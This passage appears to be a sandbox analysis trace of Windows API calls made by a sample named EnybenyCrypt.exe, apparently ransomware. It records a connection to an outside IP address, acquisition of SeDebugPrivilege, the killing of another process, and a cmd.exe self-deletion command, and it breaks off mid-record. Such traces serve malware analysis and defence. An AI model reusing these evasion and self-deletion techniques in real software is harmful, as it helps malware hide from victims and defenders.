5 [0099.163] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.163] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dee4c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dee4c, pfQOP=0x0) returned 0x0 [0099.163] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386200000) returned 1 [0099.164] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.164] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.164] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26def6c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26def6c, pfQOP=0x0) returned 0x0 [0099.164] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386200000) returned 1 [0099.164] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.164] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.164] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df08c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df08c, pfQOP=0x0) returned 0x0 [0099.164] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386300000) returned 1 [0099.164] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.164] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.164] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df1ac, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df1ac, pfQOP=0x0) returned 0x0 [0099.164] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386300000) returned 1 [0099.165] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.165] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.165] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df2cc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df2cc, pfQOP=0x0) returned 0x0 [0099.165] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386300000) returned 1 [0099.165] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.165] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.165] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df3ec, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df3ec, pfQOP=0x0) returned 0x0 [0099.165] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386400000) returned 1 [0099.165] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.165] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.165] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df50c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df50c, pfQOP=0x0) returned 0x0 [0099.165] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386400000) returned 1 [0099.166] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.166] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.166] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df62c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df62c, pfQOP=0x0) returned 0x0 [0099.166] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386400000) returned 1 [0099.166] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.166] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.166] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df74c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df74c, pfQOP=0x0) returned 0x0 [0099.166] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386500000) returned 1 [0099.166] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.166] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.166] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df86c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df86c, pfQOP=0x0) returned 0x0 [0099.166] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386500000) returned 1 [0099.166] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.167] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.167] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26df98c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26df98c, pfQOP=0x0) returned 0x0 [0099.167] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386500000) returned 1 [0099.167] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.167] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.167] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dfaac, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dfaac, pfQOP=0x0) returned 0x0 [0099.167] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386600000) returned 1 [0099.167] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.167] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.167] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dfbcc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dfbcc, pfQOP=0x0) returned 0x0 [0099.167] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386600000) returned 1 [0099.167] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.167] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.168] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dfcec, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dfcec, pfQOP=0x0) returned 0x0 [0099.168] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386600000) returned 1 [0099.168] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.168] recv (in: s=0x26c, buf=0x26d6d45, len=1424, flags=0 | out: buf=0x26d6d45*) returned 1424 [0099.168] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dfe0c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dfe0c, pfQOP=0x0) returned 0x0 [0099.168] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386700000) returned 1 [0099.168] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.168] recv (in: s=0x26c, buf=0x26d6d45, len=928, flags=0 | out: buf=0x26d6d45*) returned 928 [0099.168] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26dff2c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26dff2c, pfQOP=0x0) returned 0x0 [0099.168] QueryPerformanceCounter (in: lpPerformanceCount=0x39edd4 | out: lpPerformanceCount=0x39edd4*=1817386700000) returned 1 [0099.168] recv (in: s=0x26c, buf=0x26d6d40, len=5, flags=0 | out: buf=0x26d6d40*) returned 5 [0099.169] recv (in: s=0x26c, buf=0x26d6d45, len=32, flags=0 | out: buf=0x26d6d45*) returned 32 [0099.169] DecryptMessage (in: phContext=0x26c16e0, pMessage=0x26e004c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x26e004c, pfQOP=0x0) returned 0x0 [0099.169] QueryPerformanceCounter (in: lpPerformanceCount=0x39edec | out: lpPerformanceCount=0x39edec*=1817386800000) returned 1 [0099.169] QueryPerformanceCounter (in: lpPerformanceCount=0x39ee08 | out: lpPerformanceCount=0x39ee08*=1817386800000) returned 1 [0099.169] SetEvent (hEvent=0x25c) returned 1 [0099.169] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec1c*=0x2d4, lpdwindex=0x39ea3c | out: lpdwindex=0x39ea3c) returned 0x80010115 [0099.170] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ebfc*=0x2c4, lpdwindex=0x39ea1c | out: lpdwindex=0x39ea1c) returned 0x80010115 [0099.170] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ebfc*=0x2cc, lpdwindex=0x39ea1c | out: lpdwindex=0x39ea1c) returned 0x80010115 [0099.170] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec50*=0x2f4, lpdwindex=0x39ea6c | out: lpdwindex=0x39ea6c) returned 0x80010115 [0099.170] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec50*=0x2fc, lpdwindex=0x39ea6c | out: lpdwindex=0x39ea6c) returned 0x80010115 [0099.170] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x39ec50*=0x304, lpdwindex=0x39ea6c | out: lpdwindex=0x39ea6c) returned 0x80010115 [0099.171] select (in: nfds=0, readfds=0x26e2650, writefds=0x0, exceptfds=0x0, timeout=0x39ece0 | out: readfds=0x26e2650, writefds=0x0, exceptfds=0x0) returned 1 [0099.172] shutdown (s=0x3d0, how=2) returned -1 [0099.173] setsockopt (s=0x3d0, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0099.173] closesocket (s=0x3d0) returned 0 [0099.173] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x3d0 [0099.173] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x5a8 [0099.173] WSAConnect (in: s=0x3d0, name=0x26e2ab0*(sa_family=2, sin_port=0x50, sin_addr="69.197.143.12"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0099.321] closesocket (s=0x5a8) returned 0 [0099.321] send (in: s=0x3d0, buf=0x269f898*, len=164, flags=0 | out: buf=0x269f898*) returned 164 [0099.322] setsockopt (s=0x3d0, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0099.322] recv (in: s=0x3d0, buf=0x269dc5c, len=4096, flags=0 | out: buf=0x269dc5c*) returned 285 [0099.588] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x39e784 | out: lpLuid=0x39e784*(LowPart=0x14, HighPart=0)) returned 1 [0099.590] GetCurrentProcess () returned 0xffffffff [0099.590] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x39e780 | out: TokenHandle=0x39e780*=0x3dc) returned 1 [0099.590] AdjustTokenPrivileges (in: TokenHandle=0x3dc, DisableAllPrivileges=0, NewState=0x26e4230*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0099.590] CloseHandle (hObject=0x3dc) returned 1 [0099.597] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x36698d0, Length=0x20000, ResultLength=0x39ee60 | out: SystemInformation=0x36698d0, ResultLength=0x39ee60*=0x9140) returned 0x0 [0099.616] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x458) returned 0x3dc [0099.619] TerminateProcess (hProcess=0x3dc, uExitCode=0xffffffff) returned 1 [0099.625] CloseHandle (hObject=0x3dc) returned 1 [0099.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe", nBufferLength=0x105, lpBuffer=0x39e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe", lpFilePart=0x0) returned 0x36 [0099.656] LocalAlloc (uFlags=0x0, uBytes=0xba) returned 0x68e0fa8 [0099.657] ShellExecuteExW (in: pExecInfo=0x26f8cfc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C timeout 2 && explorer && Del /Q /F C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x26f8cfc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="cmd.exe", lpParameters="/C timeout 2 && explorer && Del /Q /F C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x6b4)) returned 1 [0105.631] LocalFree (hMem=0x68d2b30) returned 0x0 [0105.632] LocalFree (hMem=0x68e0fa8) returned 0x0 [0105.960] GetWindowThreadProcessId (in: hWnd=0x301b0, lpdwProcessId=0x39eeac | out: lpdwProcessId=0x39eeac) returned 0x7e4 [0105.960] GetCurrentThreadId () returned 0x7e4 [0105.961] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc082 [0105.962] PostMessageW (hWnd=0x301b0, Msg=0xc082, wParam=0x0, lParam=0x0) returned 1 [0105.962] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0105.962] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0105.962] GetSystemMetrics (nIndex=42) returned 0 [0105.962] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39ee2c, nMaxCount=6 | out: lpString="Form1") returned 5 [0105.962] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39ee2c) returned 0x5 [0105.963] OleInitialize (pvReserved=0x0) returned 0x0 [0105.963] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x39f35c | out: lplpMessageFilter=0x39f35c*=0x0) returned 0x0 [0105.964] PeekMessageW (in: lpMsg=0x39f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x39f330) returned 1 [0105.964] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x88, wParam=0x4, lParam=0x0) returned 0x0 [0105.964] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0105.966] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39eaf0 | out: lpwndpl=0x39eaf0) returned 1 [0105.966] GetClientRect (in: hWnd=0x301b0, lpRect=0x39ea9c | out: lpRect=0x39ea9c) returned 1 [0105.966] GetWindowTextLengthW (hWnd=0x301b0) returned 5 [0105.966] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0105.966] GetSystemMetrics (nIndex=42) returned 0 [0105.966] GetWindowTextW (in: hWnd=0x301b0, lpString=0x39e968, nMaxCount=6 | out: lpString="Form1") returned 5 [0105.966] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0xd, wParam=0x6, lParam=0x39e968) returned 0x5 [0105.966] GetClientRect (in: hWnd=0x301b0, lpRect=0x39e9a4 | out: lpRect=0x39e9a4) returned 1 [0105.966] GetCurrentObject (hdc=0x130107f0, type=0x1) returned 0x1b00017 [0105.966] GetCurrentObject (hdc=0x130107f0, type=0x2) returned 0x1900010 [0105.966] GetCurrentObject (hdc=0x130107f0, type=0x7) returned 0xe050715 [0105.966] GetCurrentObject (hdc=0x130107f0, type=0x6) returned 0x18a002e [0105.966] SaveDC (hdc=0x130107f0) returned 1 [0105.967] GetNearestColor (hdc=0x130107f0, color=0xf0f0f0) returned 0xf0f0f0 [0105.967] CreateSolidBrush (color=0xf0f0f0) returned 0x14100820 [0105.967] FillRect (hDC=0x130107f0, lprc=0x39e844, hbr=0x14100820) returned 1 [0105.967] DeleteObject (ho=0x14100820) returned 1 [0105.967] RestoreDC (hdc=0x130107f0, nSavedDC=-1) returned 1 [0105.967] GetMessageA (in: lpMsg=0x39f330, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x39f330) returned 0 [0105.973] DestroyCursor (hCursor=0xa01b1) returned 1 [0105.973] GetWindowLongW (hWnd=0x301b0, nIndex=-20) returned 590080 [0105.973] DestroyWindow (hWnd=0x301b0) returned 1 [0105.973] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0105.974] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x46, wParam=0x0, lParam=0x39f0f4) returned 0x0 [0105.977] GetWindowPlacement (in: hWnd=0x301b0, lpwndpl=0x39eea4 | out: lpwndpl=0x39eea4) returned 1 [0105.977] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x47, wParam=0x0, lParam=0x39f0f4) returned 0x0 [0105.977] GetClientRect (in: hWnd=0x301b0, lpRect=0x39ee54 | out: lpRect=0x39ee54) returned 1 [0105.977] GetWindowRect (in: hWnd=0x301b0, lpRect=0x39ee54 | out: lpRect=0x39ee54) returned 1 [0105.977] PostThreadMessageW (idThread=0x7e4, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0105.991] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0105.995] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b0, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0105.995] DestroyWindow (hWnd=0x301aa) returned 1 [0105.995] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0105.996] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0105.996] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301aa, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0106.017] GetCurrentThreadId () returned 0x7e4 [0106.017] EnumThreadWindows (dwThreadId=0x7e4, lpfn=0x4c3b336, lParam=0x0) returned 1 [0106.018] IsWindowVisible (hWnd=0x50120) returned 0 [0106.018] IsWindowVisible (hWnd=0x50122) returned 0 [0106.018] GetCurrentThreadId () returned 0x7e4 [0106.018] GetCurrentThreadId () returned 0x7e4 [0106.018] EnumThreadWindows (dwThreadId=0x7e4, lpfn=0x4c3b35e, lParam=0x0) returned 1 [0106.019] IsWindowVisible (hWnd=0x50120) returned 0 [0106.019] IsWindowVisible (hWnd=0x50122) returned 0 [0106.069] OleUninitialize () [0106.073] CloseHandle (hObject=0x1f8) returned 1 [0106.074] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b750002) returned 1 [0106.074] CoGetContextToken (in: pToken=0x39fce8 | out: pToken=0x39fce8) returned 0x0 [0106.074] CObjectContext::QueryInterface () returned 0x0 [0106.074] CObjectContext::GetCurrentThreadType () returned 0x0 [0106.074] Release () returned 0x0 [0106.075] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x13880, cHandles=0x1, pHandles=0x4fbdb8*=0xa8, lpdwindex=0x39fb8c | out: lpdwindex=0x39fb8c) returned 0x0 [0106.076] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x68d2b30 [0106.076] PostMessageW (hWnd=0x50120, Msg=0x201a, wParam=0x18, lParam=0x68d2b30) returned 1 [0106.076] NtdllDefWindowProc_W () returned 0x0 Thread: id = 2 os_tid = 0x778 Thread: id = 3 os_tid = 0x518 [0037.807] CoGetContextToken (in: pToken=0x116fadc | out: pToken=0x116fadc) returned 0x800401f0 [0037.807] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0066.612] CloseHandle (hObject=0x250) returned 1 [0066.612] CloseHandle (hObject=0x398) returned 1 [0066.612] CloseHandle (hObject=0x24c) returned 1 [0066.613] CloseHandle (hObject=0x27c) returned 1 [0066.613] CloseHandle (hObject=0x248) returned 1 [0066.613] CloseHandle (hObject=0x244) returned 1 [0066.613] CloseHandle (hObject=0x278) returned 1 [0066.613] CloseHandle (hObject=0x240) returned 1 [0066.613] CloseHandle (hObject=0x35c) returned 1 [0066.613] CloseHandle (hObject=0x274) returned 1 [0066.615] CloseHandle (hObject=0x254) returned 1 [0066.615] CloseHandle (hObject=0x23c) returned 1 [0066.615] CloseHandle (hObject=0x270) returned 1 [0066.615] CloseHandle (hObject=0x34c) returned 1 [0066.615] CloseHandle (hObject=0x26c) returned 1 [0066.615] CloseHandle (hObject=0x268) returned 1 [0066.616] CloseHandle (hObject=0x3a0) returned 1 [0066.616] CloseHandle (hObject=0x264) returned 1 [0066.616] CloseHandle (hObject=0x258) returned 1 [0106.084] SetWindowLongW (hWnd=0x701b2, nIndex=-4, dwNewLong=2005411293) returned 79890446 [0106.085] SetClassLongW (hWnd=0x701b2, nIndex=-24, dwNewLong=2005411293) returned 0x4c307e6 [0106.085] PostMessageW (hWnd=0x701b2, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0106.086] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0106.086] UnregisterClassW (lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", hInstance=0x1230000) returned 1 [0106.086] GetModuleHandleW (lpModuleName=0x0) returned 0x1230000 [0106.086] UnregisterClassW (lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", hInstance=0x1230000) returned 0 [0106.087] EtwEventUnregister () returned 0x0 [0106.087] EtwEventUnregister () returned 0x0 [0106.089] IsWindow (hWnd=0x50120) returned 1 [0106.090] GetModuleHandleW (lpModuleName="user32.dll") returned 0x756f0000 [0106.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x116f87c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWÖqtõbÕ\x94Âctøú\x16\x01 qQ", lpUsedDefaultChar=0x0) returned 14 [0106.090] GetProcAddress (hModule=0x756f0000, lpProcName="DefWindowProcW") returned 0x778825dd [0106.091] SetWindowLongW (hWnd=0x50120, nIndex=-4, dwNewLong=2005411293) returned 79890606 [0106.091] SetClassLongW (hWnd=0x50120, nIndex=-24, dwNewLong=2005411293) returned 0x4c308ae [0106.091] IsWindow (hWnd=0x50120) returned 1 [0106.092] DestroyWindow (hWnd=0x50120) returned 0 [0106.092] PostMessageW (hWnd=0x50120, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0106.092] SetConsoleCtrlHandler (HandlerRoutine=0x4c30886, Add=0) returned 1 [0106.109] GdipDeleteFont (font=0x51d2940) returned 0x0 [0106.110] DeleteObject (ho=0x230a01e6) returned 1 [0106.110] DestroyCursor (hCursor=0xf0063) returned 1 [0106.112] CloseHandle (hObject=0x6b4) returned 1 [0106.112] setsockopt (s=0x26c, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0106.112] closesocket (s=0x26c) returned 0 [0106.113] CloseHandle (hObject=0x5a4) returned 1 [0106.113] CloseHandle (hObject=0x5a0) returned 1 [0106.113] setsockopt (s=0x3d0, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0106.114] closesocket (s=0x3d0) returned 0 [0106.114] CertFreeCRLContext (pCrlContext=0x690ae98) returned 1 [0106.115] CertFreeCRLContext (pCrlContext=0x690ae48) returned 1 [0106.115] WinHttpCloseHandle (hInternet=0x546990) returned 1 [0106.115] setsockopt (s=0x3e4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0106.115] closesocket (s=0x3e4) returned 0 [0106.116] CloseHandle (hObject=0x3e8) returned 1 [0106.116] CloseHandle (hObject=0x308) returned 1 [0106.116] CloseHandle (hObject=0x304) returned 1 [0106.116] RegCloseKey (hKey=0x300) returned 0x0 [0106.116] CloseHandle (hObject=0x2fc) returned 1 [0106.117] RegCloseKey (hKey=0x2f8) returned 0x0 [0106.117] CloseHandle (hObject=0x2f4) returned 1 [0106.117] RegCloseKey (hKey=0x2f0) returned 0x0 [0106.117] RegCloseKey (hKey=0x2ec) returned 0x0 [0106.117] CloseHandle (hObject=0x2d4) returned 1 [0106.118] CertFreeCRLContext (pCrlContext=0x5847a0) returned 1 [0106.118] CloseHandle (hObject=0x234) returned 1 [0106.119] UnmapViewOfFile (lpBaseAddress=0x5e0000) returned 1 [0106.119] setsockopt (s=0x2c8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0106.119] closesocket (s=0x2c8) returned 0 [0106.120] CloseHandle (hObject=0x2cc) returned 1 [0106.120] setsockopt (s=0x2c0, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0106.120] closesocket (s=0x2c0) returned 0 [0106.120] CloseHandle (hObject=0x2c4) returned 1 [0106.121] setsockopt (s=0x3d8, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0106.121] closesocket (s=0x3d8) returned 0 [0106.121] CloseHandle (hObject=0x3e0) returned 1 [0106.122] CertCloseStore (hCertStore=0x58e3d0, dwFlags=0x0) returned 1 [0106.122] CertFreeCRLContext (pCrlContext=0x5847a0) returned 1 [0106.123] CertFreeCRLContext (pCrlContext=0x5847f0) returned 1 [0106.123] RegCloseKey (hKey=0x80000004) returned 0x0 [0106.124] FreeCredentialsHandle (phCredential=0x26c14ec) returned 0x0 [0106.125] DeleteSecurityContext (phContext=0x26c16e0) returned 0x0 [0106.129] CloseHandle (hObject=0x34c) returned 1 [0106.131] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 4 os_tid = 0x240 Thread: id = 5 os_tid = 0x234 Thread: id = 6 os_tid = 0x2ac Thread: id = 7 os_tid = 0x404 Thread: id = 8 os_tid = 0x544 Thread: id = 9 os_tid = 0x6e0 Thread: id = 10 os_tid = 0x790 [0048.162] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0048.169] ResetEvent (hEvent=0x25c) returned 1 Thread: id = 11 os_tid = 0x24c Thread: id = 12 os_tid = 0x4bc Thread: id = 13 os_tid = 0x228 Thread: id = 14 os_tid = 0x610 Thread: id = 16 os_tid = 0x574 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x138f3000" os_pid = "0x5c4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7ec" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C timeout 2 && explorer && Del /Q /F C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EnybenyCrypt.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 